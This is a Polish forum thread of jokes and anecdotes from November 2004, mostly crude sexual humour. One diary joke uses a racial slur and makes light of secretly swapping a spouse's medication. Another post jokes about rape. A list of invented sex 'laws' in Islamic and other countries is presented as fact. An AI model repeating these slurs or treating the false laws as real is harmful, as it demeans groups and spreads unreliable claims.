Ktoś zapukał do burdelu. Burdel-mama otworzyła drzwi i zobaczyła raczej schludnego, dobrze ubranego i w przeszło średnim wieku mężczyznę.
- W czym mogę pomóc? - spytała.
- Chcę się widzieć z Natalką! - odparł gość.
- Proszę pana, Natalka jest jedną z najdroższych panienek. Być może jakaś inna...
- Nie! Muszę zobaczyć Natalkę! - zażądał gość. Natalka podeszła do niego i powiadomiła go, że żąda 1000 dolarów za wizytę. Mężczyzna bez wahania sięgnął do kieszeni i podał jej dziesięć studolarowych banknotów. Oboje poszli do pokoju na górę, na godzinkę... Następnej nocy przyszedł znowu i zażądał Natalki. Natalka wyjaśniła mu, że bardzo rzadko zdarza się tutaj, żeby ktoś wracał drugą noc z rzędu.... i że nie może dać mu zniżki. Stawka pozostała ta sama, 1000 dolarów. Mężczyzna znowu wręczył jej gotówkę i znowu poszli na pięterko... Kiedy przyszedł następnej nocy, nikt nie mógł uwierzyć. I znowu wręczył Natalce gotówkę, i znowu poszli na pięterko... Kiedy minęła godzina, Natalka spytała go:
- Skąd jesteś? Nikt wcześniej nie żądał moich usług trzy noce z rzędu...
- Z Filadelfii... - odparł mężczyzna.
- Naprawdę!? Mam tam rodzinę...- odrzekła.
- Tak, wiem... - odparł mężczyzna. - Twój ojciec umarł, a ja jestem adwokatem twojej siostry. Ona prosiła mnie, żebym Ci przekazał twoje 3000 dolarów spadku...
Morał z tej historyjki. Trzy rzeczy są w życiu pewne:
1. Śmierć
2. Podatki
3. I to ze adwokat cię wydupcy.....

szandor1 - 06-11-2004, 21:13

Kontrola w Zakładzie przetwórstwa mięsnego. Inspektor chodzi, patrzy, jest zadowolony, tylko pod koniec inspekcji zatrzymuje się przy jednym z kotłów i pyta się kierownika zakładu:
- A tutaj, co robicie?
- To jest pasztet z zająca - odpowiada kierownik.
- No, tak, tak, ale w sumie to mi nie wygląda na pasztet z zająca - Inspektor nie daje za wygraną.
- Bo wie Pan, ciężkie czasy, więc dodajemy trochę koniny.
- No tak, tak, jasne. A w jakich proporcjach?
- 50:50, jeden zając - jeden koń.

baca - 08-11-2004, 10:17

A taka śmieszna gierka

http://www.icq.com/friend...e_page_7946.php

Pozdrawiam

baca

tsharny - 08-11-2004, 10:59

Z pamiętnika mężatki

Dzień 1.
Dzisiaj była 10 rocznica ślubu. Świętowania to tam za dużo nie było.
Kiedy nadszedł czas, by powtórzyć naszą noc poślubną, Zdzisław zamknął
się w łazience i płakał

Dzień 2.
Zdzisław wyznał mi swój największy sekret. Powiedział, że jest
impotentem. Też mi odkrycie! Czy on naprawdę myślał, że tego nie zauważyłam już pięć
lat temu? Dodatkowo przynał sie, że od paru miesięcy bierze Prozac.

Dzień 3.
Chyba mamy małżeński kryzys. Przecież kobieta tę ma swoje potrzeby!!
Co mam robić?

Dzień 4.
Podmieniłam Prozac na Viagrę, .... nie zauważył... połknął...czekam niecierpliwie...

Dzień 5.
BŁOGOŚĆ! Absolutna błogość!

Dzień 6.
Czyż życie nie jest cudowne? Trochę trudno mi pisać, gdy ciągle to robimy.

Dzień 7.
Wszystko mu się kojarzy z jednym!Ale muszę przyznać, że to jest bardzo zabawne -
wydaje mi się, że nigdy przedtem nie byłam taka szczęśliwa.

Dzień 8.
Chyba wziął zbyt dużo pastylek przez weekend.Jestem cała obolała.

Dzień 10.
Nie miałam kiedy napisać.

Dzień 11.
Zaczynam się przed nim ukrywać. Najgorsze jest to, że Viagrę popija whisky!
Czuję się kompletnie załamana... Żyję z kimś kto jest mieszanką Murzyna
z wiertarką udarową...

Dzień 12.
Żałuję że nie jest homoseksualistą!! Nie robię makijażu, przestałam myć
zęby, ba-nawet już się nie myją.Wszystko na nic!! Nie czuję się bezpieczna
nawet kiedy ziewam...
Zdzisław atakuje podstępnie. Jeśli znów wyskoczy z tym swoim "Oops,
przepraszam..." chyba go zabiję!

Dzień 13.
Myślę że będę musiała go zabić.Zaczynam trzymać się wszystkiego na czym
usiądę. Koty i psy omijają go z daleka, a nasi przyjaciele przestali nas odwiedzać.

Dzień 14.
Podmieniłam Viagrę na Prozac, ale nie zauważyłam specjalnej różnicy.
O matko!! Znów tu idzie!!!!!!!

Dzień 15.
Prozac skutkuje! Przez cały dzień siedzi przed telewizorem z pilotem w ręku.
Zauważa mnie tylko kiedy podaję jedzenie lub piwo..........BŁOGOŚĆ!!!
Absolutna błogość!!!

:22:

tsharny - 08-11-2004, 11:04

Kolo kobiety stoi w autobusie pijany mężczyzna. Ona patrząc na niego z pogardą mówi:
- Aleś się pan uchlał!
- A pani jest strasznie brzydka!
I dodaje z triumfem:
- A ja jutro będę trzeźwy!

tsharny - 08-11-2004, 11:06

Mąż staje rano przed lustrem i z dumą mówi do żony:
- Popatrz Saro, gdybym był o 3cm wyższy to byłbym Apollo.
Na co żona:
- A gdybyś miał o 3cm krótszy to byłbyś Wenus...

tsharny - 08-11-2004, 12:29

RELIGIONS OF THE WORLD

TAOISM - Shit happens
HINDUISM - This shit happened before
CONFUCIANISM - Confucius says: "Shit happens".
BUDDISM - If shit happens, it isn't real shit.
ZEN - What is the sound of shit happening?
ISLAM - If shit happens, it is the Will of Allah.
JEHOVA'S WITTNESS - Knock, knock, ....... Shit happens.
ATHEISM - There is no shit.
AGNOSTICISM - I don't know whether shit happens.
PROTESTANTISM - Shit won't happen if I work harder.
CATHOLICISM - If shit happens, I deserve it.
JUDAISM - Why does shit always happens to me?

Ryszard Szwajcer - 08-11-2004, 22:35

Dwie sąsiadki spotykają sie na klatce schodowej starej kamienicy.

1. ty wiesz co Ziuta?- mój stary jest 300% impotentem!!!
2. ale nie opowiadaj, bo jeszcze przedwczoraj był tylko 100% !!!
1. tak, ale wczoraj spadł z drabiny, połamał sobie wszystkie palce i odgryzł język!

Ryszard Szwajcer - 08-11-2004, 22:47

Te same sąsiadki, na tej samej klatce schodowej starej kamienicy spotykaja się po 30 latach...
1. Pani Malinowska! Pani Malinowska! - nie uwierzy pani!- ta dzisiejsza młodzież, to już całkiem zgłupiała!- oni już nie wiedzą, co mają z tych nudów robić!- pani sobie wyobraża?!- oni normalnie kurzą na strychu całymi dniami!
2. To jeszcze nic pani Wątrobowa!- piją ten alkohol wstretny i ćpają te, te jakiesik narkotyki ...
1. I to nie wszystko pani Malinowska!- oni szkło jedzą!!!
2. ale co też pani opowiada pani Wątrobowa!- jak to szkło jedzą!?
1. ano zeszłam do piwnicy po ziemniaki i słyszę jak w sasiedniej piwnicy, dziewczyna mówi do chłopaka: "wykręć żarówkę, to wezmę do buzi"...

szandor1 - 09-11-2004, 00:51

Opowiada kumpel kumplowi:
- Przychodzę wczoraj do domu, żona w samym szlafroku, w łazience kąpie się nieznany facet,
pościel na łóżku pogniecona. Wiesz co, spodziewałem się najgorszego.
- I co ??
- I rzeczywiście, wchodzę do kuchni, otwieram lodówkę - patrzę flaszki nie ma.

szandor1 - 09-11-2004, 00:53

To tak odnośnie poziomu na naszych Polskich uczelniach.....:-p

Na moim wykładzie można popijać, ale proszę nie jeść, nie żuć gumy,
nie palić i nie przedłużać gatunku pod ławką.
Uniwersytet Śląski


Prawo gospodarcze
Prawo gospodarcze to dziewicza dziedzina prawa nie spenetrowana
jeszcze przez prawników
Uniwersytet M.C. Skłodowskiej


ZBoWiD
- Czy ktoś z państwa należy do zbowidu?
- ?????
- Nie wiecie co to jest zbowid? ... związek bojowników o warunek i
dziekankę
Uniwersytet w Białymstoku



żona
Wykład z prawa cywilnego. Kim jest żona
"Żona to osoba obca, którą tolerujemy w domu".
Uniwersytet Wrocławski


Częstotliwość gwałtów
"...statystycznie co 20 minut dochodzi do gwałtu..." - wykładowca
spojrzał na zegarek po czym dodał - "...no i właśnie ktoś ma to za
sobą...."
Uniwersytet M.C. Skłodowskiej


Drogą dedukcji
Jeżeli od zbioru studentów odejmiemy studentów słuchających, to
otrzymamy te dwie panienki które teraz beztrosko rozmawiają w drugim
rzędzie.
Uniwersytet Adama Mickiewicza


Kryminalistyka
Po moich wykładach na pewno zostaniecie świetnymi kryminalistami!
Wyższa Szkoła Handlu i Prawa


Aż się łezka w oku kręci...
Niewypłacalny dłużnik jest bosy i nagi i nie ma go kto przytulić.
Uniwersytet Adama Mickiewicza



Żona
Pani prof. X przed sesją:
"Żona prof. Y w czasie sesji zawsze starała się, by wszystko w domu
było ugotowane, wyprasowane i przygotowane na czas. Miało to polepszyć
jego samopoczucie i co za tym idzie oceny studentów, uważających prof.
Y za zbyt "ostrego" egzaminatora. Ja kogoś takiego nie mam".
Uniwersytet Adama Mickiewicza



Warunki studiowania
Na wykładzie z Teorii Prawa - Profesor:
"...mam wprawdzie słaby wzrok i nie widzę całej sali ale musi być was
dużo skoro po założeniu nogi na nogę trzymam buta na twarzy
studentki".
Uniwersytet Jagielloński


Cechy konstrukcji prawnej
"Taka konstrukcja prawna ma swoje zady i walety".
Uniwersytet Jagielloński

Mania - 10-11-2004, 08:41

Nie zebym byla pruderyjna - nic z tego, ale panowie - troche przystopujcie ze swoimi zapedami. Przypominam, ze poza doroslymi na Forum jest zalogowanych tez pare nieletnich osob i to calkiem mocno nieletnich....
Mania

Whiskey - 10-11-2004, 11:29

Co mowi student Uniwersytetu Adama Mickiewicza do absolwenta tej samej uczelni??
... Big Mac'a i frytki, prosze

marcinlisek - 11-11-2004, 14:33

Lezy sobie gosciu na plazy, podchodza do niego jakies ekstra laseczki w
strojach bikini i jedna mowi:
- jak puscisz baka, to sciagamy staniki.
Gosc zdziwiony troszke, niemniej baka sprzedal. Dziewczyny zgodnie z
umowa sciagnely staniki.
Pojawila sie nastepna propozycja:
- jak jeszcze raz puscisz baka, to sciagamy majtki.
Gosc : prrrruuuuuukkk.
- a teraz jak puscisz serie bakow, to bedziesz mogl nas podotykac.
No to gosciu: prrruk, prrrruuuuuuk, brrrrruk, pruk, pierrrrrd i nagle
slyszy:
- Kowalski, ku**a, nie dosc , ze spicie na zebraniu, to jeszcze
pierdzicie!!!

szandor1 - 12-11-2004, 01:20

POLOWANIE:

01:00 Budzik zaczął dzwonić i wystraszył mnie jak cholera.
02:00 Przyszedł kolega i wyciągnął mnie za nogi z łóżka.
03:00 Jedziemy do GŁĘBOKICH ostępów.
03:15 Wracam do domu po strzelbę.
03:30 Zapieprzam do lasu, żeby zdążyć przed świtem.
04:00 Rozbijamy obóz - zapomniałem cholernego namiotu.
04:30 Wyruszam w knieje.
06:05 Widzę 8 jeleni przechadzających się powoli.
06:06 Biorę cel i bardzo delikatnie naciskam spust.
06:07 "K-L-I-K"
06:08 Ładuje broń patrząc, jak jelenie szybko uciekają.
08:00 Wracam do obozu.
09:00 Nadal szukam obozu.
10:00 Zdaje sobie sprawę, że nie wiem, gdzie jest obóz.
POŁUDNIE: Strzelam, aby przywołać pomoc. Jem dzikie jagody. Są dobre.
12:15 Skończyły mi się naboje. 8 jeleni wraca.
12:20 Dziwne uczucie w żołądku.
12:30 Zdaje sobie sprawę, że jagody były trujące.
12:45 URATOWANY.
12:55 Gonitwa do szpitala na płukanie żołądka.
15:00 Powrót do obozu.
15:30 Wychodzę, żeby w końcu zabić jelenia.
16:00 Wracam do obozu po naboje.
16:01 Ładuje strzelbę - ponownie opuszczam obóz.
17:09 Wystrzeliwuje wszystkie pociski na wiewiórkę, która mnie wkurza.
18:00 Powrót do obozu - widzę, jak jeleń grasuje po obozie.
18:01 Ładuje.
18:02 Strzelam.
18:03 Rozwalony samochód.
18:11 Kolega wraca, ciągnąc za sobą upolowanego jelenia.
18:12 Pokonuje chęć zastrzelenia kolegi.
18:17 Wpadam do ognia.
18:18 Zmieniam ubranie - wyrzucam spalone do ognia.
18:20 Zabieram samochód, zostawiając kolegę z jeleniem w lesie.
18:25 Samochód się psuje.
18:26 Idę.
18:30 Potykam się i upadam. Broń wpada mi w błoto.
18:35 Spotykam DUŻEGO niedźwiedzia.
18:36 Ostrożnie celuje.
18:37 Strzelam. Lufa jest zatkana błotem.
18:38 Brudne gacie.
21:00 Niedźwiedź w końcu odchodzi. Strzelba owinięta na drzewie.
PÓŁNOC: Nareszcie w domu...

Dzień później
Oglądam mecz w telewizji. Powoli drę na malutkie strzępki licencje myśliwego. Wkładam je do koperty zaadresowanej do Departamentu Gier wraz z DOKŁADNĄ instrukcją, gdzie mają to sobie wsadzić...

[ Dodano: Pią 12 Lis, 2004 ]
Ekstremalnie piekna babeczka rzucila studia i postanowila zostac bogata. Dosc szybko znalazla sobie bogatego i napalonego siedemdziesieciopiecioletniego staruszka, planujac zerznac go na smierc zaraz podczas nocy poslubnej.
Uroczystosci slubne i bankiet poszly doskonale, pomimo pólwiecznej róznicy wieku. Podczas
pierwszej nocy miesiaca miodowego rozebrala sie i czekala rozkosznie w lózku az malzonek wyjdzie z lazienki.
Kiedy sie pojawil, nie mial na sobie nic za wyjatkiem kondoma skrywajacego 30 centymetrowa erekcje. Niósl ze soba zatyczki do uszu, a na nosie mial klamre do bielizny.
Przestraszona ze cos jest nie tak, zapytala:
- A po co ci te gadzety?!
Na to dziadek odpowiedzial:
- Sa dwie rzeczy, których nie moge zniesc. Kobiecego krzyku oraz smrodu palonej gumy!

[ Dodano: Pią 12 Lis, 2004 ]
Rozmawiają dwie Rosjanki. Jedna się pyta drugiej:
- Jaki rodzaj seksu preferujesz?
- Ja lubię po bożemu - odpowiada - a ty?
- Ja uwielbiam kochać się "na rodeo".
- "Na rodeo"? O co w tym chodzi?
- Na początku, kocham się w pozycji na jeźdźca, potem po 20 sekundach mówię, że mam AIDS i próbuję się utrzymać.

tsharny - 12-11-2004, 15:15

Stirlitz szedł ulicami Berlina, coś jednak zdradzało w nim szpiega: może czapka-uszanka, może walonki, a może ciągnący się za nim spadochron?
gaacro - 12-11-2004, 16:10

Miedzynarodowa wycieczka przyjezdza pod najwiekszy wodospad na swiecie:
- ....ooo God, it's wonderfuuuuul.....
- ....ooo main Gott, das ist wuuuuunderbar....
- ....gospodin, eto priekrasnoooojeee...
- ....o ku**a, ja pier****eee

kjar - 12-11-2004, 16:38

gaacro napisał/a:
Miedzynarodowa wycieczka przyjezdza pod najwiekszy wodospad na swiecie:
- ....ooo God, it's wonderfuuuuul.....
- ....ooo main Gott, das ist wuuuuunderbar....
- ....gospodin, eto priekrasnoooojeee...
- ....o ku**a, ja pier****eee

Był już
Wysłany: Pią 08 Paź, 2004 11:23

Ryszard Szwajcer - 12-11-2004, 20:28

"Gostek" na uczelni został zaczepiony przez handlarza narkotyków, który gorąco namawiał go do kupienia rewelacyjnego towaru:
Stary!- zaliczysz "odjazd "swojego życia, takiego towaru, to nie było na naszych ulicach od 20 lat!- odstresujesz się jak nigdy...
"Gostek" dał się namówić. Wrócił do domu, wszedł do łazienki, usypał "ścieżkę", do nosa wsadził rurkę iii..... pociągnął!.....
Nagle, zrobiło się ciemno.
Zaskoczony efektem, usypał od razu drugą "ścieżkę" i pociagnął...
Nastała jasność.
Powtórzył więc zabieg i ponownie zapadła ciemność.
Jeszcze raz .... jasność...
Wtem...
Nerwowe pukanie do drzwi łazienki, połączone z pytaniem:
Co ty tam robisz synku w tej łazience???!!!
Golę się mamusiu!
Synku!- DWA DNI???!!!

szandor1 - 12-11-2004, 22:37

Lecą ludzie samolotem. Nagle z głośnika głos pilota.
- Proszę państwa, proszę się nie denerwować, mamy małą awarię. Proszę przejść na lewą stronę samolotu i spojrzeć przez okienka. Ludzie przechodzą na lewą stronę, samolot się przechyla, a pilot:
- Jak państwo słusznie zauważyli, lewy silnik płonie.
Mała panika na pokładzie ale od czego drugi silnik... Za chwilę jednak znów głos...
- Proszę państwa, a teraz spokojnie, powoli proszę przejść na drugą stronę samolotu i spojrzeć przez okienka...
Ludzie już bardziej podenerwowani przebiegają na drugą stronę.
- Jak widać proszę państwa, drugi silnik również płonie...
Panika zaczyna wybuchać na pokładzie...
- A teraz proszę spojrzeć w dół.
Wszyscy przylepili się do okienek.
- Jak widać, pod nami rozpościera się duże, piękne jezioro, a pośrodku widać mały żółty pontonik. - Z małego żółtego pontonika, mówiła dla państwa załoga samolotu...

[ Dodano: Pią 12 Lis, 2004 ]
W czasach agroturystyki, pewien mieszczanin wybrał się na wczasy - na wieś.
W niedzielę, nudziło mu się nieco, więc przeszedł się po wsi. Natknął się na
gospodarstwo, w którym zobaczył w zagrodzie świnkę z drewnianą nogą.
Zaintrygowało go to do tego stopnia, że odszukał gospodarza i pyta:
- Gospodarzu, a dlaczego ta świnka ma jedną nogę drewnianą?
- Aaa, ja panu zaraz wszystko opowiem jak to było. To było dwa lata temu.
Nie! Trzy lata temu. U nas była powódź, wszystko zaczęło pływać, a myśmy
spali. Ale świnka, świnka proszę pana wiedziała, co nam grozi. Przeskoczyła
swoją zagródkę, podpłynęła do chaty, obudziła nas i myśmy się uratowali,
gdyby nie ona...
- Dobrze, dobrze, ale dlaczego ona ma nogę drewnianą?
- Aaa, ja jeszcze nie skończyłem, zaraz panu wszystko opowiem jak to było.
To było chyba 2 lata temu. Ktoś podłożył ogień w gospodarstwie i my byśmy
się popalili wszyscy, ale świnka, świnka wiedziała, co nam grozi.
Przeskoczyła swoja zagródkę i wyciągnęła mnie spod palącej się belki. Ja
wyciągnąłem rodzinę, inwentarz....
- Nnno dobrze, ale dlaczego ta świnka ma jedną nogę drewnianą?
- Aaa, ja już panu wszystko opowiem jak to było. To było chyba zeszłego
lata. Nas napadli zbójcy. Związali nas, pieniędzy chcieli. A przecież my
pieniędzy nie mamy. Ale świnka, świnka wiedziała co nam grozi. Przeskoczyła
swoją zagrodę, spłoszyła zbójców...
- Proooszę pana..., opowiada mi pan trzecią historię, a ja chciałem tylko
wiedzieć, dlaczego ona ma jedną nogę drewnianą?
- A pan by zjadł taką kochaną świnkę od razu?

[ Dodano: Sob 13 Lis, 2004 ]
Nieśmiały chłopak dostrzegł przy barze piękną dziewczynę.
Podszedł do niej i zapytał cicho:
- Czy możemy chwilę porozmawiać?
Dziewczyna wrzasnęła:
- Nie chcę iść z tobą do łóżka!!!
Wszyscy w barze się obejrzeli, a speszony chłopak chyłkiem
wrócił do stolika. Po chwili dziewczyna podchodzi do niego i
przeprasza:
- Jestem studentką psychologii i badam, jak ludzie
zachowują się w kłopotliwych sytuacjach. Na to chłopak,
ile sił w płucach:
- Dwie stówy ci nie wystarczą?!!

tsharny - 15-11-2004, 16:14

Różnica pomiędzy optymistą i pesymistą: optymista uważa, że życie stoi przed nim otworem, pesymista również tak uważa ale wie także co to za otwór...
nevada - 15-11-2004, 16:40

to skandal!!!! znowu jakieś seksualne podteksty :22:
Marta_W - 15-11-2004, 20:26

- Widzisz?! To fifka, która byla pod twoja szafa! Kiedy ty skonczysz z narkotykami?
- Jakie narkotyki! Uwierz mi od kiedy ciebie poznalem, zmienilem sie, zerwalem ze swoja przeszloscia, jestes jedyna która kocham.
- Synu! To ja - twój ojciec!

kraknur - 16-11-2004, 00:00

> Wchodzi
> koscielny do kosciola na godzinę przed suma i widzi jakas
> kobiecinę klęczaca przed figurką i modlaca się. Ale
> nic tam, przygotowal
> kosciółl do mszy i poszedl do zachrystii. Po mszy pogasil swiece i inne
> takie i wychodzi, ale widzi tą sama babkę, jak dalej sie modli.
> Podszedl i pyta:
> - A co wy tu starowinko tak dlugo sie modlicie?
> - A bo mi ksiadz kazal 50 zdrowasiek do Sw. Piotra zmówic.
> - Ale to jest Sw. Antoni!!!!
> Na to babka pod nosem: a fee mac, 47 zdrowasiek psu w
> dupę!

[ Dodano: Wto 16 Lis, 2004 00:12 ]
Pewna matka zabrała swoja córkę do lekarza i poprosiła o zbadanie
spuchniętego brzucha swojej pociechy. Po chwili doktor stwierdził ze
córka jest w ciaży. Matka zrobiła się czerwona z gniewu i przez 10 minut
kłóciła się z lekarzem ze jej córka jest porządną dziewczyna i nigdy nie
popsułaby sobie reputacji przez uprawianie seksu w tak młodym wieku.
W pewnym momencie doktor wstał i zaczął patrzeć za okno.
Matka zdenerwowała się jeszcze bardziej:
- Niech się pan nie gapi za okno! Pan mnie ignoruje!
- Nie, nie - bo wie pani, coś takiego już się raz zdarzyło, tyle że wtedy
na niebie pojawiła się gwiazda i przybyli trzej królowie, a ja bym tego za
cholerę nie chciał przegapić!

Efraim Ryba - 16-11-2004, 08:11

Różnica między pesymistą a optymistą w innym ujęciu:

Pesymista uważa, że gorzej być już nie może. Optymista zaś, że może...

[ Dodano: Wto 16 Lis, 2004 ]
Do niewielkiego baru wchodzi kaczka. Kaczka jak kaczka, ubrana w kombinezon roboczy, gumofilce lekko zachlapane zaprawą, twarz cuś nie cuś sterana życiem. Podchodzi do barmana i prawi tymi słowami:
- panie starszy, pięcdziesiąt gram i śledzika.
Otrzymane zamówienie konsumuje natychmiast, z duża klasą i w ogólnie przyjętej kolejności.
- panie starszy, ja tu jestem majster murarz, na pobliskiej budowie. I bedę tu do pana wpadała codziennie po robocie na jakiś zestawik pod sledzika, w lepsze dni może na lornetke z meduzą. Może jakiś rabacik?
Mocno zaszokowany barman wymruczał coś niewyraźnie a kaczka otrzepawszy przyprószony wapnem barowy stołek niewzruszenie pomaszerowała do domu.
Sytuacja ta powtarzała się kilka dni z rzędu. Kaczka otrzymała stosowny, niewielki rabat stałego klienta, zaś zdziwiony barman przypomniał sobie o swoim przyjacielu z lat dzieciństwa, pełniącym obecnie zaszczytną, trudną i społecznie bardzo użyteczną funkcję dyrektora cyrku.
-heniuś, posłuchaj, mam tu dla ciebie, w swoim barze rarytas, przyjdź i zobacz. Kaczka, która pije, zakąsza a w dodatku gada. Może byś ją zatrudnił.
Dyrektor, wioelce zaciekawiony, przybiegł już następnego dnia. Usiadł w nierzucającym się miejscu i obserwował. Kaczka, jak przystało na prawdziwego majstra murarza, przyszła z punktualnością radzieckiego zegarka marki zaria (pamietamy wszak slogan reklamowy: "zegarki zaria najszybsze na świecie"), zamówiła zestawik i błyskawicznie go wchłonęła.
W tym momencie przysiadł się do niej zawsze pamiętający o interesach dyrektor cyrku. Jak grzeczność nakazuje, postawił kolejny zestawik i zagaił w te słowa:
-widzi pani, jestem zaszczycony mogąc panią poznać. Wie pani, nie jest to codzienny widok... Ja jestem dyrektorem cyrku i myślę, że miałbym dla pani bardzo dobra oferte pracy...
- cyrku? - spytała mocno zdziwiona kaczka, wciagając z wielkim wdziękiem śledzika
- tak, cyrku - odpowiedział dyrektor.
- czy cyrk, bo może mnie pamięć myli, to taki duży okrągły namiot?
- tak, oczywiście.
- i w środku jest wysypana trocinami, okrągła arena a dookoła niej, ustawione amfiteatralnie drewniane ławy?
- tak, tak właśnie wygląda mój cyrk i tam chciałbym pania zatrudniać
- a na ch... wam tam murarz?

tsharny - 16-11-2004, 16:51

nevada napisał/a:
to skandal!!!! znowu jakieś seksualne podteksty :22:


to plotki ;)
eh... nevada, czepiasz się :)

pozdrawiam
tsharny

nevada - 16-11-2004, 18:28

ależ oczywiście, że się czepiam :asthanos:
tsharny - 17-11-2004, 10:15

nevada napisał/a:
ależ oczywiście, że się czepiam :asthanos:


eh...
czepliwa z ciebie bestyja :maniac: , no to ja zamiast :boks: proponuję :beer3:


no i oczywiście coś na poprawienie humoru :)

Adwokat zwraca się do swojego klienta skazanego za morderstwo:
- Mam dla pana dwie wiadomosci: dobra i zła. Zła jest taka, że zostanie
pan stracony jutro na krześle elektrycznym.
- Boże święty! - krzyczy skazany. - To jaka jest ta dobra wiadomość?
- Udało mi się wynegocjować niewielkie zmniejszenie woltażu.

pozdrawiam
tsharny

[ Dodano: 17-11-2004, 12:42 ]
http://www.krassus.in.tar...sh/swistaki.swf

Whiskey - 17-11-2004, 15:47

Wchodzi dwóch blondynów do baru, zamawiają po piwie i wyciągają kanapki.
Na to kelner: TU NIE WOLNO JEŚĆ SWOICH KANAPEK.
Blondyni popatrzyli na siebie i zamienili się kanapkami.

-----------------------

Stoi mały Jasio na przystanku i czeka na tramwaj. Obok stoi elegancka paniusia. Nagle zawiał wiatr i poderwał jej spódnicę do góry. Złapała, szybko opuściła na dół i mówi do Jasia:
- Niezły mam refleks, chłopczyku, prawda?
- Nie wiem jak pani, ale my na to mówimy cipa.

----------------------------

Nowa nauczycielka geografii przychodzi do klasy na lekcje i mówi:
- Dzisiaj porozmawiamy o tym, co to jest globus.
Klasa na to chórem:
- Spadaj ty stara dziwko!
Nauczycielka rozpłakała się, wybiegła z klasy i poszła do dyrektora.
- Koleżanko - mówi dyrektor. - Ja pani pokażę jak należy z nimi postępować.
Po chwili dyrektor wchodzi do klasy i zaczyna:
- Cześć, małe s.....syny!
- Czołem, łysy ch...!
- Dzisiaj będzie o tym, jak się zakłada kondoma na globus.
- Na globus? - dziwi się klasa. - A co to jest globus?
- Od tego właśnie zaczniemy...

kraknur - 17-11-2004, 16:07

czy ZUS to zorganizowana grupa przestępcza - na pewno nie można jej nazwać zorganizowaną....
Pitt_M - 17-11-2004, 17:54

kraknur napisał/a:
czy ZUS to zorganizowana grupa przestępcza - na pewno nie można jej nazwać zorganizowaną....


Kolego ZUS to Zakład Utylizacji Szmalu :20:

Pozdrawiam

Miłosz - 17-11-2004, 18:25

*Według prawa islamskiego śmiertelnym grzechem jest gdy po
odbyciu stosunku seksualnego z owcą zjemy jej mięso.

*W Libanie mężczyźni mają prawo do uprawiania stosunków
seksualnych ze zwierzętami, jednak zwierzęta te muszą być samicami.
Uprawianie seksu z zwierzętami płci męskiej jest z kolei karane śmiercią.

*Muzułmanom zabrania się patrzenia na genitalia zwłok. Dotyczy to także pracowników prosektorium. Organy seksualne zmarłych osób muszą być przykryte cegłą albo deską.

*W Indonezji karą za masturbacje jest ścięcie głowy.

*W Guamie są mężczyźni których pracą jest rozdziewiczanie
młodych kobiet. Jeżdżą po kraju i za odpowiednią opłatą uprawiają z nimi
seks. Kobiety są zadowolone gdyż tamtejsze prawo zabrania dziewicom
wychodzić za mąż.

*W Hong Kongu jest takie prawo że zdradzona kobieta może
zgodnie z prawem zabić swojego męża.
Uczynić to jednak może tylko gołymi rękoma.

*W Liverpool w Anglii sprzedawczynie mogą być rozebrane do
pasa, jednak tylko w sklepach z owocami egzotycznymi.

*W Cali, w Kolumbii kobieta może uprawiać seks tylko z
własnym mężem, a ten pierwszy raz musi być w obecności matki panny młodej,
która ma być świadkiem skonsumowania małżeństwa.

*W Santa Cruz w Boliwi mężczyźni mogą zgodnie z prawem
uprawiać seks z kobietą oraz jej córką w tym samym czasie.

*A u nas w Polsce lipa.....

Cezary Kędzia - 17-11-2004, 20:21

Nishi !
O żesz ty ....Gdzie wykopałeś takie akty prawne? A ja myślałem , że tylko nasz parlament jest zdolny do tworzenia idiotycznego prawa.

Czarek (PROF)Kędzia

tsharny - 18-11-2004, 09:24

Wraca dresiarz z Paryża i opowiada swojej żonie, co tam widział:
Wiesz, Zocha, idę, patrzę, a tu wielki plac! Patrzę na lewo: och...c można! Patrzę przed siebie: O żesz k...a mać! Patrzę na prawo: O ja cię pie...ę. Zocha zaczyna płakać. Dres pyta: Zocha, co Ci się stało? Ta odpowiada: O Boże, jak tam musi być pięknie.

Przychodzi hipochondryk do lekarza i mówi:
- Panie doktorze, żona mnie zdradza, a nie rosną mi rogi.
- Proszę pana, z tymi rogami to tylko taka przenośnia - uspokaja lekarz.
- Ufff! A już myślałem, że mam niedobór wapnia.

Z pamiętnika informatyka:
"Wracam do domu, patrzę, a żona leży naga w łóżku z obcym facetem. A oczy u nich jakieś takie chytre. Rzucam się do komputera, faktycznie: zmienili hasło... "

W domu spokojnej jesieni, trzech dziadków toczy rozmowę przy śniadaniu.
Pierwszy mówi:
Mam kamienie czy co? Nie mogę rano zrobić siku. Wstaje o 7-ej i pól
godziny musze się męczyć aby cos poleciało.
Drugi mówi:
Ja wstaje tez o 7-ej, siadam na kiblu i nie mogę zrobić kupy! Po godzinie
wreszcie coś zrobię!
Na to trzeci dziadek:
Ja tam nie mam żadnych problemów. Sikam o 5-ej, walę kupsko o 6-ej,
i budzę się o 7-ej.

[ Dodano: 19-11-2004, 09:58 ]
http://zattevrienden.realroot.be/depanneren.htm

szandor1 - 20-11-2004, 00:24

Lekarz: Mam dlaPana dobrą wiadomość: w żadnym z dwóch wyciętych jąder nie było raka
Corvusx - 20-11-2004, 16:55

Pani nauczycielka spotyka swojego dawnego ucznia z liceum.
- Dzień Dobry Jasiu. Co u Ciebie słychać? Co porabiasz?
- Dzień Dobry Pani. Wie Pani, chemię wykładam.
- Naprawdę!? Niesamowite! A gdzie?
- W "Biedronce".

Nureczka - 23-11-2004, 22:32

Czym się różni dziewczyna z miasta od dziewczyny ze wsi?
Ta pierwsza ma w pępku kolczyk a ta druga ...kleszcza :)

Marta_W - 23-11-2004, 23:23

oj, ludzie, poziom spada, wszystko degeneruje, listopad na dworze...
bambolo13 - 23-11-2004, 23:50
Temat postu: ILUZJA
Dla zmiany nastroju kleszczowego : ( dozwolone od lat......0..do.99 :20: )

http://www.funiaste.net/i...SmoczaDraka.wmv

(UWAGA : 2,8Mb)

a tu jak to skleić :

http://www.funiaste.net/i...2004/dragon.jpg

pozdrawiam,
MR

Manta - 24-11-2004, 09:00

W szkole na lekcji historii pani zadała dzieciom pytanie:
- Dzieci kto wie coś o Napoleonie?
Parę dzieci zgłosiło się, a wsród nich Jasiu. Pani nie dowierzała bo Jasiu zawsze taki spokojny, nigdy nie zgłaszajacy się - a teraz wręcz wyrywał sie do odpowiedzi. Więc pani mówi :
- No proszę Jasiu powiedz co wiesz o Napoleonie.
A Jasiu jednym tchem:
- Najtańszy napoleon jest w Czechach.


Jedzie autobus, w którym jest 10 pasażerów. Na pierwszym przystanku wysiada 7 osób, a wsiada 6. Na drugim wsiada 15, a wysiada osiem, na następnym wsiada 7, wysiada 3. Na następnym wysiada 5, a wsiada 1, na następnym wysiada 3, a wsiada 9 osób.
